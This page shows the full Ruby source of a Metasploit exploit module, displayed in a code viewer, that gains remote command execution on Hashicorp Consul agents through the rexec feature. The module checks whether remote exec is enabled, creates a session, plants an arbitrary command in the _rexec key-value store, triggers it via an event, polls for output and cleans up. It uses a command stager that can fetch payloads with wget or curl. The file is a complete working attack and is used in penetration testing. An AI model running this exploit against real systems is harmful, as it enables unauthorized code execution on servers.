Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/consul_rexec_exec.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "Hashicorp Consul Remote Command Execution via Rexec",
17
'Description' => %q{
18
This module exploits a feature of Hashicorp Consul named rexec.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
23
'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC
24
'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module
25
],
26
'References' => [
27
[ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],
28
[ 'URL', 'https://www.consul.io/docs/commands/exec.html'],
29
[ 'URL', 'https://github.com/torque59/Garfield' ]
30
],
31
'Platform' => 'linux',
32
'Targets' => [ [ 'Linux', {} ] ],
33
'Payload' => {},
34
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],
35
'Privileged' => false,
36
'DefaultTarget' => 0,
37
'DisclosureDate' => '2018-08-11',
38
'Notes' => {
39
'Reliability' => UNKNOWN_RELIABILITY,
40
'Stability' => UNKNOWN_STABILITY,
41
'SideEffects' => UNKNOWN_SIDE_EFFECTS
42
}
43
)
44
)
45
register_options(
46
[
47
OptString.new('TARGETURI', [true, 'The base path', '/']),
48
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
49
OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),
50
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
51
Opt::RPORT(8500)
52
]
53
)
54
end
55
56
def check
57
uri = target_uri.path
58
res = send_request_cgi({
59
'method' => 'GET',
60
'uri' => normalize_uri(uri, "/v1/agent/self"),
61
'headers' => {
62
'X-Consul-Token' => datastore['ACL_TOKEN']
63
}
64
})
65
unless res
66
vprint_error 'Connection failed'
67
return CheckCode::Unknown
68
end
69
begin
70
agent_info = JSON.parse(res.body)
71
if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false
72
return CheckCode::Vulnerable
73
else
74
return CheckCode::Safe
75
end
76
rescue JSON::ParserError
77
vprint_error 'Failed to parse JSON output.'
78
return CheckCode::Unknown
79
end
80
end
81
82
def execute_command(cmd, opts = {})
83
uri = target_uri.path
84
85
print_status('Creating session.')
86
res = send_request_cgi({
87
'method' => 'PUT',
88
'uri' => normalize_uri(uri, 'v1/session/create'),
89
'headers' => {
90
'X-Consul-Token' => datastore['ACL_TOKEN']
91
},
92
'ctype' => 'application/json',
93
'data' => { :Behavior => "delete", :Name => "Remote Exec", :TTL => "15s" }.to_json
94
})
95
96
if res and res.code == 200
97
begin
98
sess = JSON.parse(res.body)
99
print_status("Got rexec session ID #{sess['ID']}")
100
rescue JSON::ParseError
101
fail_with(Failure::Unknown, 'Failed to parse JSON output.')
102
end
103
end
104
105
print_status("Setting command for rexec session #{sess['ID']}")
106
res = send_request_cgi({
107
'method' => 'PUT',
108
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"),
109
'headers' => {
110
'X-Consul-Token' => datastore['ACL_TOKEN']
111
},
112
'ctype' => 'application/json',
113
'data' => { :Command => "#{cmd}", :Wait => 2000000000 }.to_json
114
})
115
if res and not res.code == 200 or res.body == 'false'
116
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
117
end
118
119
print_status("Triggering execution on rexec session #{sess['ID']}")
120
res = send_request_cgi({
121
'method' => 'PUT',
122
'uri' => normalize_uri(uri, "v1/event/fire/_rexec"),
123
'headers' => {
124
'X-Consul-Token' => datastore['ACL_TOKEN']
125
},
126
'ctype' => 'application/json',
127
'data' => { :Prefix => "_rexec", :Session => "#{sess['ID']}" }.to_json
128
})
129
if res and not res.code == 200
130
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
131
end
132
133
begin
134
Timeout.timeout(datastore['TIMEOUT']) do
135
res = send_request_cgi({
136
'method' => 'GET',
137
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"),
138
'headers' => {
139
'X-Consul-Token' => datastore['ACL_TOKEN']
140
}
141
})
142
begin
143
data = JSON.parse(res.body)
144
break if data.include? 'out'
145
rescue JSON::ParseError
146
fail_with(Failure::Unknown, 'Failed to parse JSON output.')
147
end
148
sleep 2
149
end
150
rescue Timeout::Error
151
# we catch this error so cleanup still happen afterwards
152
print_status("Timeout hit, error with payload ?")
153
end
154
155
print_status("Cleaning up rexec session #{sess['ID']}")
156
res = send_request_cgi({
157
'method' => 'PUT',
158
'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"),
159
'headers' => {
160
'X-Consul-Token' => datastore['ACL_TOKEN']
161
}
162
})
163
164
if res and not res.code == 200 or res.body == 'false'
165
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
166
end
167
168
res = send_request_cgi({
169
'method' => 'DELETE',
170
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="),
171
'headers' => {
172
'X-Consul-Token' => datastore['ACL_TOKEN']
173
}
174
})
175
176
if res and not res.code == 200 or res.body == 'false'
177
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
178
end
179
end
180
181
def exploit
182
execute_cmdstager()
183
end
184
end
185
186